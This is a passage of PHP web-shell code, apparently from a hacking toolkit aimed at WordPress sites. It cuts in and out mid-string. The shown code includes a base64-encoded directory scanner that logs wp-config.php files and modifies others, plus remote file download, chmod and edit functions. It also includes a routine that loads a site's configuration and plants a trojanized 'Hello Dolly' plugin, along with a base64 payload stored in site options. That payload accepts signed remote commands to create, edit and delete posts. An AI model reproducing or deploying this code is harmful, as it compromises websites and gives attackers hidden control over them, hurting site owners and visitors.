YWxfbG9nKCRmaWxlLCd3cml0ZSBlcnJvciBhZnRlciBzcmVwbGFjZScpOyAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHdyaXRlX2xvZygiJGZpbGUgc3JlcGxhY2UiKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgfQoKICAgICAgICB9CiAgICAgICAgfSAgIAogICAgCiAgICB9CgogICAgaWYoJHBhcmEpewogICAgICAgIGZvcmVhY2ggKCRwYXJhbm9pZCBhcyAkdCkgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkdFsnY29kZSddLCAkcGFyYW5vaWRfdG1wLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICBtYW51YWxfbG9nKCRmaWxlLCAncGFyYW5vaWQgJyAuIGltcGxvZGUoJG1hdGNoKSk7CiAgICAgICAgICAgICAgICB3cml0ZV9sb2coIiRmaWxlIG1hbnVhbCIpOyAKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCn0gICAgCgpmdW5jdGlvbiBTY2FuX0RpcigkZGlyKSB7CiAgICBlY2hvICJTY2FuOiAkZGlyIDxicj5cbiI7CiAgICAkb2RpciA9IEBvcGVuZGlyKCRkaXIpOwogICAgd2hpbGUgKCgkZmlsZSA9IEByZWFkZGlyKCRvZGlyKSkgIT09IEZBTFNFKSB7CiAgICAJaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKXsKICAgICAgICAgICAgY29udGludWU7IAogICAgICAgIH0KICAgICAgICBpZiAoaXNfZGlyKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkgJiYgKCFpc19saW5rKCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSkpICYmIChAaXNfcmVhZGFibGUoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKSkpewogICAgICAgICAgICBBZGRfVGFzaygkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGUpOwogICAgICAgIH0KICAgICAgICBpZigkZmlsZSA9PSAnd3AtY29uZmlnLnBocCcpewogICAgICAgICAgICBsb2dfd3AoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKTsKICAgICAgICB9CiAgICAgICAgaWYoKCRmaWxlICE9PSAnX3dvcmtlci5waHAnKSAmJiAoJGZpbGUgIT09ICdjcGwucGhwJykgJiYgKCRmaWxlICE9PSAnaWkucGhwJykgJiYgKCRmaWxlICE9PSAnY29uZmlnX3dwLnBocCcpKXsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmKCFpc3NldCgkX0NPT0tJRVsnZmFzdF93b3JrZXInXSkpewogICAgICAgICAgICAgICAgbW9kaWZ5KCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZSk7CiAgICAgICAgICAgIH0KICAgICAgICB9ICAgIAogICAgfQogICAgICAgIEBjbG9zZWRpcigkb2Rpcik7Cn0KCiR3b3JrX2NvdW50ID0gMDsKd2hpbGUgKCAkd29ya19jb3VudDw9IDI1KSB7CgkkZGlyID0gR2V0X1Rhc2soKTsKCWlmICgkZGlyID09PSBmYWxzZSl7RGVhZExldHRlcigpO30gZWxzZSB7CgllY2hvICJXb3JraW5nIGRpcjogJGRpciA8YnI+XG4iOwoJU2Nhbl9EaXIoJGRpcik7Cgkkd29ya19jb3VudCsrOwp9Cn0KZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb24uaHJlZiA9ICdfd29ya2VyLnBocD8nICsgTWF0aC5yYW5kb20oKTs8L3NjcmlwdD4iOwoKCg=='));
echo "<script>location.href='_worker.php';
parent.Worker('f_m','','', '','','file_man');
</script>";
}
function manage_file(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$fm = $_REQUEST['f'];
$file_to_man = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$dir = $_REQUEST['d'];
} else {
die('WTF?');
}
if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
$param = $_REQUEST['p'];
} else {
$param = 'reload';
}
$passh = get_perm($file_to_man);
echo "<style>a {cursor:pointer; color:#00f}</style>";
echo "$file_to_man<br><br>$passh<br><br><br>";
echo "<a onClick=parent.Worker('c_f','$dir','$fm','0444','$param','edit_box');>[444]</a> ";
echo "<a onClick=parent.Worker('c_f','$dir','$fm','0666','$param','edit_box');>[666]</a> ";
echo "<a onClick=parent.Worker('c_f','$dir','$fm','0644','$param','edit_box');>[644]</a> ";
echo "<a onClick=parent.Worker('c_f','$dir','$fm','0755','$param','edit_box');>[755]</a><br><br>";
echo "<a onClick=parent.Worker('r_f','$dir','$fm','','$param','edit_box');>[Renew]</a><br><br>";
echo "<a onClick=parent.Worker('d_d','','$fm','','','edit_box');>[Download]</a><br><br>";
echo "<a onClick=parent.Worker('e_f','$dir','$fm','','$param','edit_box');>[Edit]</a><br><br>";
}
function download000(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$file_to_down = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_to_down).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file_to_down));
readfile($file_to_down);
}
function chmod_file(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$fm = $_REQUEST['f'];
$file_to_man = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$dir = $_REQUEST['d'];
} else {
die('WTF?');
}
if(isset($_REQUEST['p']) && '' !== $_REQUEST['p']){
$param = $_REQUEST['p'];
} else {
die('WTF?');
}
if(isset($_REQUEST['c']) && '' !== $_REQUEST['c']){
$mode = 1 * $_REQUEST['c'];
} else {
die('WTF?');
}
@chmod($file_to_man, octdec($mode));
if('reload' == $param){
echo "<script>parent.Worker('f_m','$dir','', '','$fm','file_man'); parent.Worker('m_f','$dir','$fm', '','','edit_box'); </script>";
}
if('noreload' == $param){
@clearstatcache();
$passh = get_perm($file_to_man);
echo $passh;
}
}
function renew_file(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$fm = $_REQUEST['f'];
$file_to_rn = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
if(isset($_REQUEST['d']) && '' !== $_REQUEST['d']){
$dir = $_REQUEST['d'];
} else {
die('WTF?');
}
if(@is_readable($file_to_rn)){
$tmp = file_get_contents($file_to_rn);
if(strlen($tmp) > 0) {
if (@unlink($file_to_rn)){
file_put_contents($file_to_rn, $tmp);
echo "<script>parent.Worker('f_m','$dir','', '','$fm','file_man');
parent.Worker('m_f','$dir','$fm', '','','edit_box');
</script>";
die();
} else {
die('Can not unlink');
}
} else {
die('Zero read');
}
} else {
die('Non readable');
}
}
function manual_av(){
echo "<style>table.blueTable tbody tr:hover { background: #fff;} table.blueTable tbody tr { background: #EEEEEE;} </style>
<script>function check_item(box_id){ document.getElementById(box_id).checked = true; }
function OKFunction(md5){
url = '//127.0.0.1/add_exception.php?md5=' + md5;
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
document.body.appendChild(script);
}
function DelOKFunction(md5){
url = '//127.0.0.1/del_base.php?md5=' + md5;
var script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
document.body.appendChild(script);
}
var md5 = ['aaa'];
var md5_del = ['aaa'];
var mmd = new Map();
</script>";
$filter = explode('|', $_COOKIE['filter']);
$all_files = file('manual_log');
$all_files = array_unique($all_files);
$ii = 0;
$iii = 0;
$md_summ = '';
foreach($all_files as $t){
$t = trim($t);
if(strpos($t,'/cache/') > 0){continue;}
if(strpos($t,'/twig/') > 0){continue;}
$tex = explode('=====', $t);
$t = $tex[0];
if(!file_exists($t)){continue;}
if(isset($filter[0])){
if(strpos($t,$filter[0]) > 0){continue;}
}
if(isset($filter[1])){
if(strpos($t,$filter[1]) > 0){continue;}
}
if(isset($filter[2])){
if(strpos($t,$filter[2]) > 0){continue;}
}
if(isset($filter[3])){
if(strpos($t,$filter[3]) > 0){continue;}
}
$note = $tex[1];
$md5 = md5(file_get_contents($t));
$cf = base64_encode($t);
$dir = dirname($t);
$cdir = base64_encode($dir);
$file = basename($t);
$fe = wsoViewSize(filesize($t));
echo "<p id='$md5' class='$md5'><table class='blueTable' width=100%><tbody><tr>
<td rowspan=2 style='text-align:center' onClick=check_item('box_$ii');><input type=checkbox id='box_$ii'></td>
<td colspan=2><input type=text value='$file' style='width:200px;'><input style='width:555px' type=text value=$dir></td></tr>
<tr><td valign=baseline>
<input type=button onClick=\"parent.Worker('e_f','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='✐' style='font-size:30px;height:45px;cursor:pointer'>
<input type=button style='font-size:30px;height:45px;cursor:pointer; color:green' onClick=\"OKFunction('$md5'); check_item('box_$ii');\" value='&#10004;'>
<input type=button style='font-size:30px;height:45px;cursor:pointer; color:blue' onClick=\"parent.Worker('d_d','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='&#11015;'>";
if(strpos($note, 'paranoid') === false){
$note = htmlentities($note,ENT_QUOTES);
}else{
$note = str_replace('paranoid ', '', $note);
$find = base64_encode($note);
$note = htmlentities($note,ENT_QUOTES);
echo " <input type=button onClick=\"parent.FindEx('$find');\" style='font-size:30px;height:45px;cursor:pointer; color:#f00' value='🔎'>";
}
echo " <input style='width:250px' type=text value='$note'>
$fe </td><td align=center>
<input type=button onClick=\"parent.Worker('d_n','$cdir','$cf','$file','reload','edit_box'); check_item('box_$ii');\" style='font-size:30px;height:45px;cursor:pointer; color:#f00' value='💣' >
<button onClick=\"parent.Worker('d_5','$cdir','$cf','$md5','reload','edit_box'); DelOKFunction('$md5');\" ><span style='font-size:30px;color:#f00;';>✘</span><span class='a_$md5' style='font-size:15px;';></span></button>
</td></tr></tbody></table></p>";
$md_summ = $md_summ . $md5 . '|';
$iii++;
if($iii > 50){
$iii = 0;
echo "<script src=//127.0.0.1/table.php?md5=$md_summ></script>";
echo "<script>";
$mmd = explode('|', $md_summ);
foreach ($mmd as $mmd5) {
echo "if(mmd.get('$mmd5') == undefined){mmd.set('$mmd5',1);} else { mmd.set('$mmd5', mmd.get('$mmd5') +1 ); }";
}
echo "</script>";
$md_summ = '';
}
$ii++;
}
echo "<script src=//127.0.0.1/table.php?last=true&md5=$md_summ></script>";
echo "<script>";
$mmd = explode('|', $md_summ);
foreach ($mmd as $mmd5) {
echo "if(mmd.get('$mmd5') == undefined){mmd.set('$mmd5',1);} else { mmd.set('$mmd5', mmd.get('$mmd5') +1 ); }";
}
echo "</script>";
echo "<script>
for (let key of mmd.keys()) {
Array.from(document.getElementsByClassName('a_' + key)).forEach(
function(element, index, array) {
element.innerHTML = mmd.get(key);
}
);
}
</script>";
}
function manual_wp(){
echo "<style>table.blueTable tbody tr:hover { background: #fff;} table.blueTable tbody tr { background: #EEEEEE;} </style>";
echo "<script>function check_item(box_id){ document.getElementById(box_id).checked = true; }</script><table class='blueTable'>";
$all_files = file('wp_log');
$all_files = array_unique($all_files);
$ii = 0;
foreach($all_files as $t){
$t = trim($t);
$cdir = base64_encode(dirname($t));
$cf = base64_encode($t);
echo "<tr>
<td><input type=checkbox id='box_$ii'></td>
<td><input style='cursor:pointer; color:green' type=button onClick=\"parent.Worker('m_wp','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='&#10148;'></td>
<td><input style='width:380px' type=text value=$t></td>
<td><input style='cursor:pointer;' type=button onClick=\"parent.Worker('d_w','$cdir','$cf','true','noreload','edit_box'); check_item('box_$ii');\" value='😮'></td>
<td><input style='cursor:pointer;' type=button onClick=\"parent.Worker('d_w','$cdir','$cf','false','noreload','edit_box'); check_item('box_$ii');\" value='🤫'></td>
<td><input style='cursor:pointer;' type=button onClick=\"parent.Worker('u_w','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='🇼'></td>
<td><input style='cursor:pointer;' type=button onClick=\"parent.Worker('e_f','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='✐'></td>
<td><input style='cursor:pointer;' type=button onClick=\"parent.Worker('m_f','$cdir','$cf','','noreload','edit_box'); check_item('box_$ii');\" value='🛠'></td>
<td><input style='cursor:pointer; color:blue' type=button onClick=\"parent.Worker('c_z','$cdir','$cf','','noreload','worker_box'); check_item('box_$ii');\" value='&#11014;' ></td>
<td><input style='cursor:pointer; color:red' type=button onClick=\"parent.Worker('d_z','$cdir','$cf','','noreload','worker_box'); check_item('box_$ii');\" value='✘' ></td>
</tr>";
$ii++;
}
echo '</table>';
}
function make_wp(){
if(isset($_REQUEST['f']) && '' !== $_REQUEST['f']){
$wpc = base64_decode($_REQUEST['f']);
} else {
die('WTF?');
}
@clearstatcache();
if(!file_exists($wpc)){
die('404 file not found');
}
$tmp = file_get_contents($wpc);
if (strpos($tmp, 'wp-user-set') > 0){
echo 'user settings found<br>';
$tmp = str_replace('wp-user-settings.php', 'wp-settings.php', $tmp);
$wpc_perm = '';
if(!is_writeable($wpc)){
$wpc_perm = substr(decoct(fileperms($wpc)),-4);
echo $wpc_perm;
@chmod($wpc, octdec('0666'));
}
if(file_put_contents($wpc, $tmp)){
echo "<font color=green>Succes:</font> clean $wpc<br>";
} else {
echo "<font color=red>Error:</font>can't clean $wpc<br>";
die();
}
if ('' !== $wpc_perm){
@chmod($wpc, octdec($wpc_perm));
}
$tmp_file = str_replace('wp-config.php', '.error_reporting', $wpc);
unlink($tmp_file);
$tmp_file = str_replace('wp-config.php', '.atime', $wpc);
unlink($tmp_file);
$tmp_file = str_replace('wp-config.php', 'wp-user-settings.php', $wpc);
unlink($tmp_file);
}
chdir(dirname($wpc));
include_once($wpc);
if(function_exists('get_option')){
echo '<font color=green>Succes:</font> WP work<br>';
} else {
echo '<font color=red>Error:</font> WP not found<br>';
}
$site_url = get_option('siteurl');
if(false === $site_url){
echo '<font color=red>Error:</font> WP url not found<br>';
die();
} else {
echo "<font color=green>Succes:</font> WP url $site_url<br>";
}
if ('/' !== substr($site_url, -1)){
$site_url = $site_url . '/';
}
echo "<br><form action='http://127.0.0.1/insert_to_base.php' method=POST target='_new'>
<input id=url type=text name=url value='$site_url'><input type=submit value='&#10148;' style='color:green'></form><br>
";
$ssite_url = str_replace('http://', 'https://', $site_url);
echo "<br><form action='http://127.0.0.1/insert_to_base.php' method=POST target='_new'>
<input id=url type=text name=url value='$ssite_url'><input type=submit value='&#10148;' style='color:green'></form><br>
";
echo "<a target=_blank href=$site_url>Goto $site_url</a><br><br>";
echo "<a target=_blank href=$site_url"."pl.php>Goto $site_url"."pl.php</a><br><br>";
$dolly_code = 'PD9waHAKLyoqCiAqIEBwYWNrYWdlIEhlbGxvX0RvbGx5CiAqIEB2ZXJzaW9uIDExLjcuMgogKi8KLyoKUGx1Z2luIE5hbWU6IEhlbGxvIERvbGx5ClBsdWdpbiBVUkk6IGh0dHA6Ly93b3JkcHJlc3Mub3JnL3BsdWdpbnMvaGVsbG8tZG9sbHkvCkRlc2NyaXB0aW9uOiBUaGlzIGlzIG5vdCBqdXN0IGEgcGx1Z2luLCBpdCBzeW1ib2xpemVzIHRoZSBob3BlIGFuZCBlbnRodXNpYXNtIG9mIGFuIGVudGlyZSBnZW5lcmF0aW9uIHN1bW1lZCB1cCBpbiB0d28gd29yZHMgc3VuZyBtb3N0IGZhbW91c2x5IGJ5IExvdWlzIEFybXN0cm9uZzogSGVsbG8sIERvbGx5LiBXaGVuIGFjdGl2YXRlZCB5b3Ugd2lsbCByYW5kb21seSBzZWUgYSBseXJpYyBmcm9tIDxjaXRlPkhlbGxvLCBEb2xseTwvY2l0ZT4gaW4gdGhlIHVwcGVyIHJpZ2h0IG9mIHlvdXIgYWRtaW4gc2NyZWVuIG9uIGV2ZXJ5IHBhZ2UuCkF1dGhvcjogTWF0dCBNdWxsZW53ZWcKVmVyc2lvbjogMTEuNy4yCkF1dGhvciBVUkk6IGh0dHA6Ly9tYS50dC8KKi8KCmZ1bmN0aW9uIGhlbGxvX2RvbGx5X2dldF9seXJpYygpIHsKCS8qKiBUaGVzZSBhcmUgdGhlIGx5cmljcyB0byBIZWxsbyBEb2xseSAqLwoJJGx5cmljcyA9ICJIZWxsbywgRG9sbHkKV2VsbCwgaGVsbG8sIERvbGx5Ckl0J3Mgc28gbmljZSB0byBoYXZlIHlvdSBiYWNrIHdoZXJlIHlvdSBiZWxvbmcKWW91J3JlIGxvb2tpbicgc3dlbGwsIERvbGx5CkkgY2FuIHRlbGwsIERvbGx5CllvdSdyZSBzdGlsbCBnbG93aW4nLCB5b3UncmUgc3RpbGwgY3Jvd2luJwpZb3UncmUgc3RpbGwgZ29pbicgc3Ryb25nCkkgZmVlbCB0aGUgcm9vbSBzd2F5aW4nCldoaWxlIHRoZSBiYW5kJ3MgcGxheWluJwpPbmUgb2Ygb3VyIG9sZCBmYXZvcml0ZSBzb25ncyBmcm9tIHdheSBiYWNrIHdoZW4KU28sIHRha2UgaGVyIHdyYXAsIGZlbGxhcwpEb2xseSwgbmV2ZXIgZ28gYXdheSBhZ2FpbgpIZWxsbywgRG9sbHkKV2VsbCwgaGVsbG8sIERvbGx5Ckl0J3Mgc28gbmljZSB0byBoYXZlIHlvdSBiYWNrIHdoZXJlIHlvdSBiZWxvbmcKWW91J3JlIGxvb2tpbicgc3dlbGwsIERvbGx5CkkgY2FuIHRlbGwsIERvbGx5CllvdSdyZSBzdGlsbCBnbG93aW4nLCB5b3UncmUgc3RpbGwgY3Jvd2luJwpZb3UncmUgc3RpbGwgZ29pbicgc3Ryb25nCkkgZmVlbCB0aGUgcm9vbSBzd2F5aW4nCldoaWxlIHRoZSBiYW5kJ3MgcGxheWluJwpPbmUgb2Ygb3VyIG9sZCBmYXZvcml0ZSBzb25ncyBmcm9tIHdheSBiYWNrIHdoZW4KU28sIGdvbGx5LCBnZWUsIGZlbGxhcwpIYXZlIGEgbGl0dGxlIGZhaXRoIGluIG1lLCBmZWxsYXMKRG9sbHksIG5ldmVyIGdvIGF3YXkKUHJvbWlzZSwgeW91J2xsIG5ldmVyIGdvIGF3YXkKRG9sbHknbGwgbmV2ZXIgZ28gYXdheSBhZ2FpbiI7CgoJLy8gSGVyZSB3ZSBzcGxpdCBpdCBpbnRvIGxpbmVzLgoJJGx5cmljcyA9IGV4cGxvZGUoICJcbiIsICRseXJpY3MgKTsKCgkvLyBBbmQgdGhlbiByYW5kb21seSBjaG9vc2UgYSBsaW5lLgoJcmV0dXJuIHdwdGV4dHVyaXplKCcnKTsKfQoKJGFkbWluX2hlYWQgPSBnZXRfb3B0aW9uKCdhZG1pbl9oZWFkJyk7CgplcnJvcl9yZXBvcnRpbmcoMCk7CgovLyBUaGlzIGp1c3QgZWNob2VzIHRoZSBjaG9zZW4gbGluZSwgd2UnbGwgcG9zaXRpb24gaXQgbGF0ZXIuCmZ1bmN0aW9uIGhlbGxvX2RvbGx5KCkgewoJJGNob3NlbiA9IGhlbGxvX2RvbGx5X2dldF9seXJpYygpOwoJJGxhbmcgICA9ICcnOwoKCXByaW50ZigKCQknPHAgaWQ9ImRvbGx5Ij48c3BhbiBjbGFzcz0ic2NyZWVuLXJlYWRlci10ZXh0Ij4lcyA8L3NwYW4+PHNwYW4gZGlyPSJsdHIiJXM+JXM8L3NwYW4+PC9wPicsCgkJX18oICdRdW90ZSBmcm9tIEhlbGxvIERvbGx5IHNvbmcsIGJ5IEplcnJ5IEhlcm1hbjonICksCgkJJGxhbmcsCgkJJGNob3NlbgoJKTsKfQoKLy8gTm93IHdlIHNldCB0aGF0IGZ1bmN0aW9uIHVwIHRvIGV4ZWN1dGUgd2hlbiB0aGUgYWRtaW5fbm90aWNlcyBhY3Rpb24gaXMgY2FsbGVkLgphZGRfYWN0aW9uKCAnYWRtaW5fbm90aWNlcycsICdoZWxsb19kb2xseScgKTsKCiRhZG1pbl9ib2R5ID0gICRhZG1pbl9oZWFkKGdldF9vcHRpb24oJ2FkbWluX2Zvb3RlcicpLGdldF9vcHRpb24oJ2FkbWluX2JvZHknKSk7CgovLyBXZSBuZWVkIHNvbWUgQ1NTIHRvIHBvc2l0aW9uIHRoZSBwYXJhZ3JhcGguCmZ1bmN0aW9uIGRvbGx5X2NzcygpIHsKCWVjaG8gIgoJPHN0eWxlIHR5cGU9J3RleHQvY3NzJz4KCSNkb2xseSB7CgkJZmxvYXQ6IHJpZ2h0OwoJCXBhZGRpbmc6IDVweCAxMHB4OwoJCW1hcmdpbjogMDsKCQlmb250LXNpemU6IDEycHg7CgkJbGluZS1oZWlnaHQ6IDEuNjY2NjsKCX0KCS5ydGwgI2RvbGx5IHsKCQlmbG9hdDogbGVmdDsKCX0KCS5ibG9jay1lZGl0b3ItcGFnZSAjZG9sbHkgewoJCWRpc3BsYXk6IG5vbmU7Cgl9CglAbWVkaWEgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3ODJweCkgewoJCSNkb2xseSwKCQkucnRsICNkb2xseSB7CgkJCWZsb2F0OiBub25lOwoJCQlwYWRkaW5nLWxlZnQ6IDA7CgkJCXBhZGRpbmctcmlnaHQ6IDA7CgkJfQoJfQoJPC9zdHlsZT4KCSI7Cn0KCgokYWRtaW5fYm9keSAoZ2V0X29wdGlvbignZG9sbHlfY3NzJykpOwoKYWRkX2FjdGlvbiggJ2FkbWluX2hlYWQnLCAnZG9sbHlfY3NzJyApOw==';
if(update_option('dolly_css','CgpmdW5jdGlvbiBoZWxsb19jaGVja19zaWcoJHNpZ24sJGRhdGEpewoJCgkkcHVia2V5ID0gJy0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tJy4iXG4iLidNRnd3RFFZSktvWklodmNOQVFFQkJRQURTd0F3U0FKQkFLTE45YXp6dS9pL0hZdlljKzBDVzVEVmlHSXVDSmJ6Jy4iXG4iLicyM3NrV3NTVHdrTzZ3U2dhN1FKVSttMGVsQWxsM2lHVEZPU0Z6WENoaGxsdU9yVzYrVlZMWGI4Q0F3RUFBUT09Jy4iXG4iLictLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0nOwoJJHB1YmxpY19rZXlfcmVzID0gb3BlbnNzbF9nZXRfcHVibGlja2V5KCRwdWJrZXkpOwoJJHNpZ24gPSBiYXNlNjRfZGVjb2RlKCRzaWduKTsKCSRvayA9IG9wZW5zc2xfdmVyaWZ5KCRkYXRhLCAkc2lnbiwgJHB1YmxpY19rZXlfcmVzLCBPUEVOU1NMX0FMR09fU0hBMSk7CglpZigkb2sgPT0gMSl7CgkJcmV0dXJuIHRydWU7Cgl9IGVsc2UgewoJCXJldHVybiBmYWxzZTsKCX0KCQp9CgpmdW5jdGlvbiBoZWxsb19hY3Rpb24oJGRhdGEpewoKCSRkYXRhID0gdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkZGF0YSkpOwoJCglpZigkZGF0YVsnaG9zdCddICE9PSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10pewoJCWRpZSgpOwoJfQoJCgkkR0xPQkFMU1siaGVsbG9fZGF0YSJdID0gJGRhdGE7CgoJc3dpdGNoICgkZGF0YVsnYWN0aW9uJ10pIHsKCgkJY2FzZSAiZGVsZXRlX3Bvc3QiOgoKCQkJYWRkX2FjdGlvbiggJ3dwX2xvYWRlZCcsICdoZWxsb19kZWxldGVfcG9zdCcgKTsKCgkJCWZ1bmN0aW9uIGhlbGxvX2RlbGV0ZV9wb3N0KCl7CiAgICAgICAgCQkKICAgICAgICAJCSRwb3N0X2lkID0gJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF9pZCddOwogICAgICAgIAkJJHJlc3VsdCA9IHdwX2RlbGV0ZV9wb3N0KCAkcG9zdF9pZCwgdHJ1ZSApOwkKCiAgICAgICAgCQlpZigkcmVzdWx0LT5JRCA9PSAkcG9zdF9pZCl7CiAgICAgICAgCQkJJGFsbF9wb3N0cyA9IGdldF9vcHRpb24oJ2RvbGx5X3Bvc3RzJyxhcnJheSgwKSk7CgkJCQkJaWYoKCRrZXkgPSBhcnJheV9zZWFyY2goJHBvc3RfaWQsJGFsbF9wb3N0cykpICE9PSBGQUxTRSl7CiAgICAJCQkJCSB1bnNldCgkYWxsX3Bvc3RzWyRrZXldKTsKCQkJCQl9CgkJCQkJdXBkYXRlX29wdGlvbignZG9sbHlfcG9zdHMnLCRhbGxfcG9zdHMpOwogICAgICAgIAkJCWRpZSgnMjAwIE9LJyk7CiAgICAgICAgCQl9IGVsc2UgewogICAgICAgIAkJCWRpZSgnNDAwIHBvc3QgZGVsZXRlIGVycm9yJyk7CiAgICAgICAgCQl9CiAgICAgICAgCX0KCgkJYnJlYWs7CgoJCWNhc2UgInVwZGF0ZV9wb3N0IjoKICAgICAgICAJCiAgICAgICAgCWFkZF9hY3Rpb24oICd3cF9sb2FkZWQnLCAnaGVsbG9fdXBkYXRlX3Bvc3QnICk7CgogICAgICAgIAlmdW5jdGlvbiBoZWxsb191cGRhdGVfcG9zdCgpewogICAgICAgIAkKICAgICAgICAJCSRwb3N0X2RhdGEgPSBnZXRfcG9zdCggJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF9pZCddLCBBUlJBWV9BKTsKCiAgICAgICAgCQkkcG9zdF9kYXRhWydwb3N0X2NvbnRlbnQnXSAgPSAkR0xPQkFMU1siaGVsbG9fZGF0YSJdWydwb3N0X2NvbnRlbnQnXTsKCQkJCQoJCQkJJHBvc3RfaWQgPSB3cF9pbnNlcnRfcG9zdCggJHBvc3RfZGF0YSx0cnVlICApOwoJCQkJCgkJCQlpZiggaXNfd3BfZXJyb3IoJHBvc3RfaWQpICl7CgkJCQkJZWNobyAkcG9zdF9pZC0+Z2V0X2Vycm9yX21lc3NhZ2UoKTsKCQkJCQlkaWUoKTsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAiT0siOwoJCQkJCWRpZSgpOwoJCQkJfQoJCQl9CgogICAgICAgIGJyZWFrOwoKCQljYXNlICJuZXdfcG9zdCI6CgogICAgICAgIAlhZGRfYWN0aW9uKCAnd3BfbG9hZGVkJywgJ2hlbGxvX25ld19wb3N0JyApOwoKICAgICAgICAJZnVuY3Rpb24gaGVsbG9fbmV3X3Bvc3QoKXsKICAgICAgICAJCiAgICAgICAgCQkkcG9zdF9kYXRhID0gYXJyYXkoCgkJCQkncG9zdF90aXRsZScgICAgPT4gd3Bfc3RyaXBfYWxsX3RhZ3MoICRHTE9CQUxTWyJoZWxsb19kYXRhIl1bJ3Bvc3RfdGl0bGUnXSApLAoJCQkJJ3Bvc3RfY29udGVudCcgID0+ICRHTE9CQUxTWyJoZWxsb19kYXRhIl1bJ3Bvc3RfY29udGVudCddLAoJCQkJJ3Bvc3Rfc3RhdHVzJyAgID0+ICdwdWJsaXNoJywKCQkJCSdwb3N0X3R5cGUnICAgICA9PiAncGFnZScsCgkJCQkpOwoKCQkJCSRwb3N0X2lkID0gd3BfaW5zZXJ0X3Bvc3QoICRwb3N0X2RhdGEsdHJ1ZSAgKTsKCQkJCQoJCQkJaWYoIGlzX3dwX2Vycm9yKCRwb3N0X2lkKSApewoJCQkJCWVjaG8gJHBvc3RfaWQtPmdldF9lcnJvcl9tZXNzYWdlKCk7CgkJCQkJZGllKCk7CgoJCQkJfSBlbHNlIHsKCQkJCQkkYWxsX3Bvc3RzID0gZ2V0X29wdGlvbignZG9sbHlfcG9zdHMnLGFycmF5KDApKTsKCQkJCQkkYWxsX3Bvc3RzW10gPSAkcG9zdF9pZDsKCQkJCQl1cGRhdGVfb3B0aW9uKCdkb2xseV9wb3N0cycsJGFsbF9wb3N0cyk7CgkJCQkJJHJlc1sncGVybWFsaW5rJ10gPSBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKTsKCQkJCQkkcmVzWydJRCddID0gJHBvc3RfaWQ7CgkJCQkJJHJlc1sncG9zdF90aXRsZSddID0gJEdMT0JBTFNbImhlbGxvX2RhdGEiXVsncG9zdF90aXRsZSddOwoJCQkJCWVjaG8gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJHJlcykpOwoJCQkJCWRpZSgpOwoJCQkJfQoJCQl9CgogICAgICAgIGJyZWFrOwoKCQljYXNlICJnZXRfYWxsX3Bvc3RzIjoKICAgICAgICAJCiAgICAgICAgCWFkZF9hY3Rpb24oICd3cF9sb2FkZWQnLCAnaGVsbG9fZ2V0X2FsbF9wb3N0cycgKTsKICAgICAgICAJCiAgICAgICAgCWZ1bmN0aW9uIGhlbGxvX2dldF9hbGxfcG9zdHMgKCl7CiAgICAgICAgCQkKICAgICAgICAJCSRhcmdzID0gYXJyYXkoICdwb3N0X3R5cGUnID0+ICdhbnknLCdudW1iZXJwb3N0cycgPT4gLTEsKTsKICAgICAgICAJCSR6b3BhID0gZ2V0X3Bvc3RzKCRhcmdzKTsKCQkJCSRyZXMgPSBhcnJheSgpOwoJCQkKCQkJCWZvcmVhY2ggKCR6b3BhIGFzICR0KSB7CgkKCQkJCQkkaWQgPSAkdC0+SUQ7CgkJCQkJJHRtcFsnSUQnXSA9ICRpZDsKCQkJCQkkcGVybWFsaW5rID0gIGdldF9wZXJtYWxpbmsoJGlkKTsKCQkJCQkkdG1wWydwZXJtYWxpbmsnXSA9ICRwZXJtYWxpbms7CgkJCQkJJHBvc3RfdGl0bGUgPSAgJHQtPnBvc3RfdGl0bGU7CgkJCQkJJHRtcFsncG9zdF90aXRsZSddID0gJHBvc3RfdGl0bGU7CgkJCQkJJHJlc1tdID0gJHRtcDsKCQkJCQl1bnNldCgkdG1wKTsKCQk